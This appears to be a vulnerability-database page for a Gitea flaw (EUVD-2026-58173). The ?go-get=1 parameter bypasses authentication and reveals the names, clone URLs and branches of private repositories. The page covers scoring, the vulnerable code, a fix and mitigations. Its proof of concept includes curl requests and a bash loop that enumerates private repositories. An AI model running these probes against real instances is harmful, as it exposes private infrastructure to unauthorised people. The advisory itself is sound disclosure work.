What is the CVSS score of EUVD-2026-58173?

EUVD-2026-58173 has a CVSS 3.1 base score of 5.3 (Medium). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N. EPSS exploitation probability: 0.1%.

Is there a patch available for EUVD-2026-58173?

Yes, a patch is available for EUVD-2026-58173. Update the affected software to the latest version immediately.

Gitea EUVD-2026-58173

| CVE-2026-58507 MEDIUM

Information Exposure (CWE-200)

2026-07-21 https://github.com/go-gitea/gitea

GHSA-p4mj-98mv-xq26

Information Disclosure Gitea

5.3

CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY

5.3 MEDIUM

AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

vuln.today AI

5.3 MEDIUM

Network-accessible with no authentication required; only metadata disclosed (not repo contents), justifying C:L; no integrity or availability impact applies.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

SUSE

MEDIUM

qualitative

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

Low

Integrity

None

Availability

None

Lifecycle Timeline

Source Code Evidence Fetched

Jul 21, 2026 - 21:12 vuln.today

Analysis Generated

Jul 21, 2026 - 21:12 vuln.today

DescriptionCVE.org

Field	Value
Affected File	`routers/web/repo/githttp.go`, `services/context/repo.go`
Affected Functions	`httpBase()`, `EarlyResponseForGoGetMeta()`
Affected Lines	`githttp.go:63-66`, `services/context/repo.go:374-396`
Prerequisite	None - fully unauthenticated

---

Description

Gitea implements a special behavior for requests containing the ?go-get=1 query parameter. This parameter is sent by the Go toolchain (go get, go install) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing <meta name="go-import"> and <meta name="go-source"> tags - regardless of whether:

The repository is private
The requesting user is authenticated
The requesting user has any permission on the repository

The entry point is routers/web/repo/githttp.go:63-66:

func httpBase(ctx *context.Context, optGitService ...string) *serviceHandler {
    reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")

    if ctx.FormString("go-get") == "1" {
        context.EarlyResponseForGoGetMeta(ctx)
        return nil   // ← returns before any auth or permission check
    }
    ...

The EarlyResponseForGoGetMeta function (services/context/repo.go:379-396) is called unconditionally, and the function's own docstring documents the intended behavior:

// EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200
// if user does not have actual access to the requested repository,
// or the owner or repository does not exist at all.
// This is particular a workaround for "go get" command which does not respect
// .netrc file.
func EarlyResponseForGoGetMeta(ctx *Context) {
    username := ctx.PathParam("username")
    reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
    ...
    ctx.PlainText(http.StatusOK, htmlMeta)   // ← HTTP 200, no auth check
}

The function also appears at services/context/repo.go:444, 516, 571 - all repository-scoped route handlers that check ?go-get=1 and call EarlyResponseForGoGetMeta before performing any permission verification.

The metadata returned includes:

The full repository name and owner - confirming the repository exists
The HTTP clone URL - a fully-formed URL pointing to the repository
The source browsing URL templates - which may reveal the default branch name

This allows an unauthenticated attacker to:

Confirm existence of any private repository by name
Enumerate private repository names through brute-force without triggering authentication failures
Harvest clone URLs and default branch names of private repositories

---

Proof of Concept

Step 1 - Identify a private repository

Any private repository works. For this demonstration, admin/classified-internal is set to private:

---

Step 2 - Confirm access is denied without authentication

Standard requests to a private repository correctly return 404 for unauthenticated users.

---

Step 3 - Bypass using go-get parameter

bash

curl -s "http://localhost:3000/admin/classified-internal?go-get=1"

Actual response (HTTP 200):

html

<!doctype html>
<html>
    <head>
        <meta name="go-import"
              content="localhost:3000/admin/classified-internal
                       git
                       http://localhost:3000/admin/classified-internal.git">
        <meta name="go-source"
              content="localhost:3000/admin/classified-internal
                       _
                       http://localhost:3000/admin/classified-internal/src/branch/main{/dir}
                       http://localhost:3000/admin/classified-internal/src/branch/main{/dir}/{file}#L{line}">
    </head>
    <body>
        go get --insecure localhost:3000/admin/classified-internal
    </body>
</html>

The response:

Returns HTTP 200 (not 404) - confirming the repository exists
Reveals the full clone URL: http://localhost:3000/admin/classified-internal.git
Reveals the default branch name: main
Reveals the owner username: admin

This same response is returned whether or not the repository exists - the comment in EarlyResponseForGoGetMeta states it responds identically for both - however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting git ls-remote.

---

Step 4 - Enumerate private repositories at scale

bash

# Enumerate private repos by guessing common names
for name in internal deploy secrets infra api-keys prod-config db-creds; do
  response=$(curl -s "http://localhost:3000/admin/${name}?go-get=1")
  if echo "$response" | grep -q "go-import"; then
    clone_url=$(echo "$response" | grep -oP 'git http://\K[^ "]+')
    echo "[FOUND] admin/${name} → clone: http://${clone_url}"
  fi
done

---

Step 5 - Verify the same applies to the main web router

The vulnerability also exists via the standard web router for repository pages:

bash

# Works on any repo-scoped URL
curl -s "http://localhost:3000/admin/classified-internal/releases?go-get=1" | grep "go-import"
curl -s "http://localhost:3000/admin/classified-internal/issues?go-get=1"   | grep "go-import"

All return HTTP 200 with the metadata.

---

Impact Analysis

Direct impact:

What is leaked	Sensitivity
Repository exists	Confirms presence of private infrastructure code, internal tooling, unreleased products
Owner / organization name	Reveals organizational structure
Clone URL	Provides a direct endpoint for credential-stuffing attacks against git HTTP endpoint
Default branch name	Reduces brute-force surface for subsequent attacks

---

Root Cause Analysis

The bypass was introduced intentionally as a workaround for the Go toolchain's limitation of not reading .netrc credentials before deciding whether a module is accessible. The Go go get command probes the VCS endpoint without credentials first; if it gets a 404, it treats the module as non-existent and fails immediately without prompting for credentials.

The workaround - returning metadata unconditionally - was the path of least resistance for enabling private module imports. The unintended consequence is that it creates an unauthenticated information disclosure endpoint for every repository in the instance.

---

Recommended Fix

The fix requires differentiating between requests that carry authentication credentials and those that do not, before calling EarlyResponseForGoGetMeta.

// routers/web/repo/githttp.go:63-66 - proposed fix

if ctx.FormString("go-get") == "1" {
    // For public repos, always respond to support the go toolchain
    if repo != nil && !repo.IsPrivate {
        context.EarlyResponseForGoGetMeta(ctx)
        return nil
    }
    // For private repos, only respond if the user is authenticated
    // and has at least read access
    if ctx.IsSigned {
        if perm, err := access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil {
            if perm.CanRead(unit.TypeCode) {
                context.EarlyResponseForGoGetMeta(ctx)
                return nil
            }
        }
    }
    // Unauthenticated request for a private repo - return 404 consistent
    // with normal behavior; the go toolchain will prompt for credentials
    ctx.PlainText(http.StatusNotFound, "Repository not found")
    return nil
}

This approach preserves the go-get functionality for public repositories while protecting private ones. The Go toolchain will fall back to prompting for credentials when it receives a 404, which is the correct behavior for private module imports.

---

AnalysisAI

Private repository existence disclosure in Gitea allows fully unauthenticated remote attackers to confirm the existence, enumerate names, harvest clone URLs, and identify default branch names of private repositories by appending the ?go-get=1 query parameter to any repository-scoped URL. All Gitea instances running versions prior to 1.27.0 are affected regardless of repository visibility configuration. No public exploit identified at time of analysis as a dedicated exploit tool, though a detailed proof-of-concept with working curl and shell enumeration scripts is published in the GHSA advisory, making exploitation trivially repeatable.

Technical ContextAI

Gitea (pkg:go/code.gitea.io/gitea) is a self-hosted Git service written in Go. The vulnerability stems from a deliberate but security-deficient workaround in routers/web/repo/githttp.go within the httpBase() function (lines 63-66). When the Go toolchain sends a ?go-get=1 probe to discover VCS module metadata, Gitea intercepts this before any authentication or authorization evaluation and delegates to EarlyResponseForGoGetMeta() in services/context/repo.go (lines 374-396), which unconditionally returns HTTP 200 with <meta name="go-import"> and <meta name="go-source"> HTML tags. The root cause was a workaround for the Go toolchain's behavior of not consulting .netrc credentials before deciding a module is unreachable. CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) applies directly: the function's own docstring explicitly documents that it responds identically regardless of whether the user has access or the repository even exists, making the information leak a documented design choice that was not gated on authentication.

RemediationAI

Upgrade to Gitea v1.27.0 or later, available at https://github.com/go-gitea/gitea/releases/tag/v1.27.0. The upstream fix, described in GHSA-p4mj-98mv-xq26 (https://github.com/go-gitea/gitea/security/advisories/GHSA-p4mj-98mv-xq26), adds authentication and permission checks prior to calling EarlyResponseForGoGetMeta() for private repositories: public repositories continue to respond unconditionally to preserve Go toolchain compatibility, while private repositories require the requesting user to be signed in and have at least code-read permission, returning HTTP 404 otherwise. If immediate patching is not feasible, a compensating control is to place a reverse proxy (nginx, Caddy, HAProxy) in front of Gitea that strips or blocks requests containing the ?go-get=1 query parameter entirely - this will break Go module discovery for all repositories (including public ones) but eliminates the disclosure vector. Alternatively, network-level access controls restricting Gitea HTTP port access to trusted IP ranges will reduce unauthenticated external enumeration risk, with the trade-off that internal hosts would still be able to exploit the endpoint.